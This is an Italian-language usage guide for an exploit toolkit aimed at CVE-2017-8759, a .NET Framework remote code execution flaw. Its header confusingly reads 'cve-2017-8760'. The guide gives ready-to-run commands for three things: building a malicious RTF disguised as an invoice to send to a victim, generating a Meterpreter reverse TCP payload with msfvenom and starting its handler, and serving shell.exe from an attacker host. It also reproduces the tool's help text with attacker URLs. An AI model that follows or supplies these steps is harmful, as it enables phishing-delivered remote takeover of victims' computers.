cve-2017-8760

- Genera file RTF dannosi
- Modalità di exploit per il file RTF generato

1) Genera il file RTF dannoso
   # python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Opzionale, se si usa MSF Payload): genera il payload metasploit e avvia l'handler
   # msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
   # msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Avvia il toolkit in modalità exploit per consegnare il payload locale
   # python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe

# python cve-2017-8759_toolkit.py -h

Questo è un pratico toolkit per sfruttare CVE-2017-8759 (RCE di Microsoft .NET Framework)

Modalità:

-M gen                                          Genera solo il file dannoso

     Genera un file RTF dannoso:

      -w <Filename.rtf>                   Nome del file RTF dannoso (condividi questo file con la vittima).

      -u <http://attacker.com/test.txt>   Percorso del file txt remoto. Normalmente, dovrebbe essere un dominio o un IP dove questo                                         tool è in esecuzione.
                                          Per esempio, http://attackerip.com/test.txt (Questo URL verrà incluso nel file RTF dannoso e verrà richiesto quando la vittima aprirà il file RTF dannoso).

-M exp                                          Avvia la modalità di exploit

     Exploit:
  
      -p <TCP port:Default 80>            Numero della porta locale.

      -e <http://attacker.com/shell.exe>  Il percorso di un file eseguibile / shell meterpreter / payload che deve essere eseguito sul target.

      -l </tmp/shell.exe>                 Specifica il percorso locale di un file eseguibile / shell meterpreter / payload.